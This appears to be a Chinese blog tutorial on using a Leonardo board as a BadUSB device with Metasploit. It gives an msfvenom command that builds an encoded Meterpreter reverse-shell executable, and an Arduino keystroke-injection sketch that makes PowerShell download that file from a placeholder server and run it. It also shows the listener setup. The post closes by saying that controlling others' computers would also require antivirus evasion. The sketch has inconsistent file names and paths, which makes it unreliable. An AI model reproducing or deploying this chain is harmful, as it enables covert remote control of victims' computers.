badusb代码_BadUSB联动Msf

最近对BadUSB比较感兴趣,所以就买了两块开发板玩玩。

一个是Digispark,一个是Leonardo,某宝上都有卖,十块二十块左右,容易上手,作为初学工具还是比较合适的。它们分别长这个样子:

3d42fb7be1a6011ac6790086979dee13.png

                                              Digispark开发板

17f53bae7bb11c8ba080d2ded02bacfa.png

                                           Leonardo开发板

有关BadUSB的详细发展就不再赘述,网上有很多这方面的介绍。直接开始这次的实验。

实验前需要准备几样东西:Leonardo开发板、木马文件(本次选择未免杀的木马,仅供测试)、烧录软件Arduino(1.8版本)

首先生成木马文件

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b ‘\x00’ lhost=yourip lport=yourport -f exe > /root/badusb.exe

插入开发板,打开Arduino软件,配置工具>开发板为Leonardo,端口设置为Leonardo的端口(一般将开发板插入电脑端口设置会自动显示),之后开始写入我们模拟的操作。

常用到的操作符有:

KEY_LEFT_CTRLKEY_LEFT_SHIFTKEY_LEFT_ALTKEY_LEFT_GUIKEY_RIGHT_CTRLKEY_RIGHT_SHIFTKEY_RIGHT_ALTKEY_RIGHT_GUIKEY_UP_ARROWKEY_DOWN_ARROWKEY_LEFT_ARROWKEY_RIGHT_ARROWKEY_BACKSPACEKEY_TABKEY_RETURNKEY_ESCKEY_INSERTKEY_DELETEKEY_PAGE_UPKEY_PAGE_DOWNKEY_HOMEKEY_ENDKEY_CAPS_LOCKKEY_F1KEY_F2KEY_F3KEY_F4KEY_F5KEY_F6KEY_F7KEY_F8KEY_F9KEY_F10KEY_F11KEY_F12

写进的代码目的就是模拟用户在电脑上用键盘进行的操作。

本次用到的代码如下:

#include void setup(){Keyboard.begin();//开始键盘通讯delay(1000);//延时,为了两个操作之间有缓冲的时间Keyboard.press(KEY_LEFT_GUI);//win键delay(200);Keyboard.press('r');//r键delay(300);Keyboard.release(KEY_LEFT_GUI);//释放win 键Keyboard.release('r');//释放R键Keyboard.println("cmd"); //这里为了更好的观察效果,没有对窗口进行最小化操作delay(200);Keyboard.press(KEY_RETURN);//按下回车键delay(200);Keyboard.release(KEY_RETURN);//按下回车键delay(500);Keyboard.println("powershell ");//打开powershellKeyboard.press(KEY_RETURN);//按下回车键delay(200);Keyboard.release(KEY_RETURN);//按下回车键delay(500);Keyboard.println("$clnt=new-object System.Net.WebClient;");Keyboard.press(KEY_RETURN);//按下回车键delay(200);Keyboard.release(KEY_RETURN);//按下回车键delay(500);Keyboard.println("$url='http://xxx.xxx.xxx.xxx/badusb.exe';");Keyboard.press(KEY_RETURN);//按下回车键delay(200);Keyboard.release(KEY_RETURN);//按下回车键delay(500);Keyboard.println("$file='C:\\Users\\re\\Desktop\\QQ.exe';");//注意这里路径必须是两个反斜杠Keyboard.press(KEY_RETURN);//按下回车键delay(200);Keyboard.release(KEY_RETURN);//按下回车键delay(500);Keyboard.println("$clnt.DownloadFile($url,$file);");Keyboard.press(KEY_RETURN);//按下回车键delay(200);Keyboard.release(KEY_RETURN);//按下回车键delay(500);Keyboard.println("START C:\\Users\\rey\\Desktop\\badusb.exe");//运行badusb.exe文件,同上,两个反斜杠Keyboard.press(KEY_RETURN);//按下回车键delay(200);Keyboard.release(KEY_RETURN);//按下回车键delay(500);Keyboard.println("exit");//退出Keyboard.press(KEY_RETURN);//按下回车键delay(200);Keyboard.release(KEY_RETURN);//按下回车键delay(500);Keyboard.println("exit");Keyboard.press(KEY_RETURN);//按下回车键delay(200);Keyboard.release(KEY_RETURN);//按下回车键delay(500);Keyboard.end();//结束键盘通讯}void loop() {}

写好之后在软件内进行编译,编译成功后上传到Leonardo开发板上。

如果前面都没问题的话,大概三四秒钟就会上传成功。暂时先拔出开发板。

用msf设置监听:

use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost youripset lport yourportrun

此时插上开发板,测试时候发现几乎是插上的瞬间程序就启动了,待窗口关闭掉之后,回到msf,就已经看到了meterpreter(前提关掉杀软,因没做免杀)。

57b612068ab1f1d1c3c9320d04810a6b.png

总的来说BadUSB用到的代码非常简单,而且非常有趣,可以写一些好玩的程序上传上去,比如自动打开某个网址,自动关机等等。

当然,如果想要控制别人电脑,还需要做到免杀的效果。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值